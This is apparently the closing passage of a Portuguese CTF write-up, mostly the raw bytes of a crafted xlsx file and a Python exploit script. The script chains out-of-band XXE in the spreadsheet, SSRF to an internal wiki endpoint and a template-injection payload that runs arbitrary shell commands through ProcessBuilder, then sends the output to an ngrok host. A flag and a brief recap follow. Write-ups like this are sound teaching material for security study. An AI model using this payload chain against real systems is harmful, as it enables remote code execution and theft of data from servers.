\xc7\n\xcd\x04mY\xf7\x1d\xaf\xed\xfa\x15\xcf/9\r\xafWr\xab\xaeSjx\xedj\xa9\xedy\xd5r\xcf+;\xddN\xe5\x01\x18E\x85Q\xd9\xcb\xe6\xee\xc3?\xfbl\xbexm\x9f\xf6o\xbd\xba\x8f\x96\xa5\xf6\xb9\x80G6O\xeb`;\x15N_\xdd\x97+\xda\xab\xfb\xacNF\x83d\xdcB\x14,s\xbfV\xe97\xab\xcdN\xad\xd4\xac\xb6\xfb%\xb7\xdbi\x94\x9a~\xadS\xea\xd6\xfcz\xb7\xdf\xf5\xbdF\xb3\xff\xc0B\x87)\xd8mW}\xb7\xd6k\x94je\xdf/\xb95'\xa1\xdfh\x96\xean\xa5\xd2v\xeb\xedF\xcfm?X\xd8\x1aV\xbe\xfc]\x9a7\xe5u\xf1_PK\x03\x04\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x1c\x00xl/workbook.xmlUT\t\x00\x03B\xbeiaH\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadUmO\xe38\x10\xfe~\xd2\xfd\x87l$\xee[\x9a8om\x03\xed\x8a\xbc\xe9*A\xa9 \x0b\x8b\x8e\x13r\x13\xb7\xb5\x9a\xc49\xc7\x81\xa2\x15\xff\xfd\xc6\xa1i\xe1\xe0C\x97\xdb\xa8\xb53\xf6\xe4\xf133\xcf$'_7E\xae<\x10^SV\x8eT\xd43T\x85\x94)\xcbh\xb9\x1c\xa9\xdf\x92X\x1b\xa8J-p\x99\xe1\x9c\x95d\xa4>\x91Z\xfd:\xfe\xfd\xb7\x93/\xe1E\x90\xdc\xce\"\x05\xcf\x95\xbfN\xbeDg\xd1y4M\xa4u:\xbdU\xc6\xb02M&\xc9\xadr\xa4\xd4\x95ru{\x95D\xe7\x8a\xba\x12\xa2\xf2t=E\x04kh0\xd4\x90ih}S3\xcd~\xaf\\r\xb6\xeeQ\xa6\xcf\xe9\x925u/\x13\x99:>\xaa\xab\xe3\xa3\ns\\\xa0\xe3\xbf\xe5\xa9x>\xfe\x83l\x164?>\xd1\xe1\x1eV\x1e\x19_\xcf\x19[+\x10HY\x8f\xba#\xeatE\n\\\xf7XEJ\xd8Y0^`\x01&_\xeau\xc5\t\xce\xea\x15!\xa2\xc8u\xd30\\\xbd\xc0\xb4T_\x10<~\x08\x06[,hJB\x966\x05)\xc5\x0b\x08'9\x16\x90\xc6zE\xab\xbaC+\xd2C\xe0\n\xcc\xd7M\xa5\xa5\xac\xa8\x00bNs*\x9eZPU)Ro\xb2,\x19\xc7\xf3\x1c\xd2\xbfA\x8e\xb2\xe1\xf0s\xe1\x8f\x0c\x18\xcc\xee$\xd8zwTAS\xcej\xb6\x10=\x80\xde\x92~\x17?2t\x84\xde\xa4`\xf3>\x07\x87!\xd9\x90\x84\x07*\xb5\xb4\x87r?\x89\xe5\xee\xb0\xdc=\x182\xfe7\x1a2\xf6p\xe6'\xd1\x9c\x1d\x9a\xa9\x8eO@\x8e\xe4\xfa\xa5\x85\x14\\US\\\xc8J\xe5\xaa\x92\xe3ZD\x19\x15$\x1b\xa9}0\xd9#y\xb3\xc0\x9b\xcaoh\x0e\x86i\r\x0c\xa4\xea\xe3\x9d\x9cg\\\xc9\xc8\x027\xb9H\x80X\x07\x0f\x1d\xea\xbaC\xd3\x91\x9e \x8c\xd3\\\x10^bA\x02V\n\xd0\xe1/\xd2\\\x8b\x1d\xac\x18\x84\xae\\\x92\x1a\xcaI\xddJ\x0fv`\xc4\xa9\x87\xe7\xf5\x0c\x8b\x95\xd2\xf0|\xa4\x06\xde\xdd\xb7\x1a\xf8\xdd=\xd0\x92\xa6\x14z\xb7\"\x9cP\x8e\xefBR\xaf\x05\xab\xee\xa2\xef\xb3\xb3\x8bIr\x1fF\xf1d:I&\xd7\x17w\xafT\x8b\xdf\xd3\xfd\t\xdd\xe2T&C\xdf1~\xb9\xffof\x808\xf7\xba\x9a\xcd\x04W\xe0~\x12\x9eA}\xae\xf0\x03T\x0b4\x91m\x9by\x02\xe5@\xd6}\x99r\x0f\xdd\xff0\x1c\xdf4\x02\xdb\xd4\x9c045\xdb\xb7Lm\xe0;\x8e\x16\x04\xb1m\x04\x83x`[\xfdgU6\xa4\x972\xdc\x88\xd5\xb6R\x12z\xa4\xda\xee\x07[\xe7x\xd3\xed \xc3kh\xb6\xa7\xf1\xc3\xd8^\xda\x07Cw=\xcb\x80\xa5F\xae)y\xac\xf7\x92\x91\xa6\xb2\xb9\xa1e\xc6\x1eG\xaa|\xb7\xaa\xca\xd3[\xf3\xb1\xb5nh&V\xa09\xa3o\xed\xd6\xfe$t\xb9\x02\xc6\x08Ym\x83pS2\x03Fn`Z\x10z\xa0\xb9qdiv\x10\xd8\xda\xd0uC\xcd\x0fm\xcb\xb1\x87\x8e\x11\x0e\xcd\x96\x91\xfe\x8aR[\xa4nV\xca\xb6!f9.i\xbe\xc2\x08>(r\xb9\xcd3\xf4\x80'\x8f\xe1\x93\xac\x95\xbf\xde=\x99\xe2<\x85\x1e\x90S\xeb8D\x869\x94\x1ed#\xcej\xd1\xce ?\n\x0c\x91m\x9c\xf6\x8d\xa1\xad\x19\x91\xe5h\xf6`\x08%\xb2\xa1N\x81\x1d\x9a\x91\xd3\x8f\xc2\xc8w\x9e\xe5[\xb2\xed\x02\xefU\xa7\xa6+\xccE\xc2q\xba\x86\xcf\xe6%Y\xf8\xb8&28\x19\x10\xf0|M\xd6w\x06\xbea\x01E;F\xb1f\xa3\xa1\xa1\xf9\xbek\x83\xbcb\xcb\xe9\xa30\x88\x9cxOV\x86\xbf\xf8$\xdf\x81\xde>M\xb0h\xa0%\xe9\xd6\xf6\xe4\x18oWw\x8b[\xb7m\xa9\xde\x1c\xe0]\x862\x90\x03\x1c\xaf \xfa\x9c\x1c\xe8\x1c_\x1f\xe8\x18L\xcf\x93\xf3\x03}\xcf\xa2\xe4\xfe&n\xf3\xfea\xb4/\xd5\xd0;\r\xe9]\r\xc7\xff\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x1c\x00xl/worksheets/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x1c\x00xl/worksheets/sheet1.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9d\x94\xdb\x8e\xda0\x10\x86\xef+\xf5\x1d,\xdfC\xe2\x1c \xa0$+\n\x8b\xcaE\xa5\xaa\xa7{\xe3L\x88E\x12\xa7\xb69\xa9\xea\xbb\xef8\x14v+\x84\x846J\x14g\xc6\xfe\xfe\x19\xcf8\xe9\xd3\xb1\xa9\xc9\x1e\xb4\x91\xaa\xcd(\x1b\xfa\x94@+T!\xdbMF\xfeX\x0e\x12J\x8c\xe5m\xc1k\xd5BFO`\xe8S\xfe\xf1CzPzk*\x00K\x90\xd0\x9a\x8cV\xd6vS\xcf3\xa2\x82\x86\x9b\xa1\xea\xa0EO\xa9t\xc3-~\xea\x8dg:\r\xbc\xe8\x175\xb5\x17\xf8\xfe\xc8k\xb8l\xe9\x990\xd5\x8f0TYJ\x01\x0b%v\r\xb4\xf6\x0c\xd1Ps\x8b\xf1\x9bJv\xe6Bk\xc4#\xb8\x86\xeb\xed\xae\x1b\x08\xd5t\x88X\xcbZ\xdaS\x0f\xa5\xa4\x11\xd3\xd5\xa6U\x9a\xafk\xcc\xfb\xc8\".\xc8Q\xe3\x1d\xe0\x13^dz\xfb\x8dR#\x85VF\x95v\x88\xe41\xdf\xa6?\xf1&\x1e\x17W\xd2m\xfe\x0faX\x84\x1b\xb0\x97\xae\x80\xaf\xa8\xe0\x9d\xac\xf8\xca\n^a\xe1;a\xa3+\xccm\x97\x9e\xeed\x91\xd1?I4Z\xce\xe30\x1a\xcc\xd8\xa7x\x10M&\xc1 \x99\xc5\xf3\xc1\xd8\x0f'\xe1s\x14%\xcf\xd1\xf8/\xcd\xd3Bb\x85\xddb\xa2\xa1\xcc\xe8\x8cQ/O{\xfa/\t\x07\xf3fL,_\x87\x1a\x84\x05\x14`\x94\xb8\xde\\+\xb5u\xce\x15\x9a|\xc4\x99~\x82\xc3q|\xeda\x0eu\x9d\xd1\x15\xc3\xe9\xe6w\xaf\xe0\xc6(\xe1]\xb9o\xc7\x17\xbde\xdf<_5)\xa0\xe4\xbb\xda~S\x87\xcf 7\x95E\xe1\x18\xb3t\xed0-N\x0b0\x02\xfb\x13\xa5\x87A|\r|\xc1-\xcfS\xad\x0eD\xf7q\x9a\x8e\xbb\x93\xc3\xa6\xec\xde\xca<\x15n.&O\xd0d\xf0{\x9f\xfb\xa9\xb7\xc7\xd0\x04>\x88\xba\x04yfw|\x03_\xb8\xde\xc8\xd6\x90\x1a\xca\x1e\x133\x960\xe6\x07\x11%\xfa\x1c\xe96\xab:g\x19'\xe3\x08\xeb?\xc6\x82\xf4\x17\x9e\x80\xb5\xb2V5w\x9c\x15\xd6\x1a\xb4s\x86,\x9a\x8c\xfc\x116\xf4\xf9\xc2\xce)\x95\xb2\xf7\x9cn\x8b\xaf?\x8f\xfc\x05PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x1c\x00xl/_rels/workbook.xml.relsUT\t\x00\x030\xd0\xce\x12\x8c\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadR\xcbj\xc30\x10\xbc\x17\xfa\x0fb\xef\xb5\xec\xb4\x94R\"\xe7\x12\n\xb9\xb6\xee\x07\x08im\x99\xd8\x92\xd0n\x1f\xfe\xfb\xaa\rm\x1c\x08\xa1\x07\x9f\x96\x19\xb13\xa3\xdd]o>\xc7A\xbcc\xa2>x\x05UQ\x82@o\x82\xed}\xa7\xe0\xb5y\xbay\x00A\xac\xbd\xd5C\xf0\xa8`B\x82M}}\xb5~\xc6Asn\"\xd7G\x12Y\xc5\x93\x02\xc7\x1c\x1f\xa5$\xe3p\xd4T\x84\x88>\xbf\xb4!\x8d\x9a3L\x9d\x8c\xda\xecu\x87rU\x96\xf72\xcd5\xa0>\xd1\x14;\xab \xed\xec-\x88f\x8a\xf8\x1f\xed\xd0\xb6\xbd\xc1m0o#z>c!\x89\xa7!@4:u\xc8\n\x0e\xb8\xc8: \xcf\xdb\xaf\x96\xb4\xe7\xdc\x8bG\xf7\x1fx \xabK\x19\xaa%3|\x84\xb4'\x87\xc8\xc7\x1cT\x1e\xd0w\xb9\x18\xe6n\xd1}8\x9d\xd0\xbep\xca\xe76_\xcb\x9c\xfe\r#O.\xae\xfe\x02PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x00\x00\x00\x00[Content_Types].xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x9c\x01\x00\x00_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xdc\x01\x00\x00_rels/.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x0c\x03\x00\x00docProps/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81O\x03\x00\x00docProps/app.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x0f\x05\x00\x00docProps/core.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x91\x06\x00\x00xl/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xce\x06\x00\x00xl/sharedStrings.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xb1\x07\x00\x00xl/styles.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x85\n\x00\x00xl/theme/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xc8\n\x00\x00xl/theme/theme1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xae\x11\x00\x00xl/workbook.xmlUT\x05\x00\x03B\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\xbf\x15\x00\x00xl/worksheets/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x07\x16\x00\x00xl/worksheets/sheet1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffAj\x18\x00\x00xl/_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xad\x18\x00\x00xl/_rels/workbook.xml.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x10\x00\x10\x00F\x05\x00\x00\xed\x19\x00\x00\x00\x00\r\n------WebKitFormBoundaryX8EzGd8nAoSVFtBe--\r\n"
	session.post(burp0_url, headers=burp0_headers, data=burp0_data)

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload

cmd = sys.argv[1]

dtd = f"""
<!ENTITY % data SYSTEM "http://documentacao:8090/pages/doenterpagevariables.action?queryString={craft_payload(cmd)}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxxxxxx.ngrok.io/?data=%data;'>">
"""
open('bigous.dtd', 'w').write(dtd)
send_file()

Untitled

Untitled

FLAG: LW2021{XXE_SSRF_SSTI_f0r_Sur3_You_Are_The_N3w_0r4ng3}

E é isso, usamos um XXE OOB dentro de um xlsx para explorar um SSRF que explora um SSTI em uma aplicação vulnerável, para conseguir RCE.

Espero que tenham gpostado do write-up, desculpe por não meaprofundar tanto nos XXE (depois de longas horas eu to meio cansado de falar disso kkkkk).

Até breve o/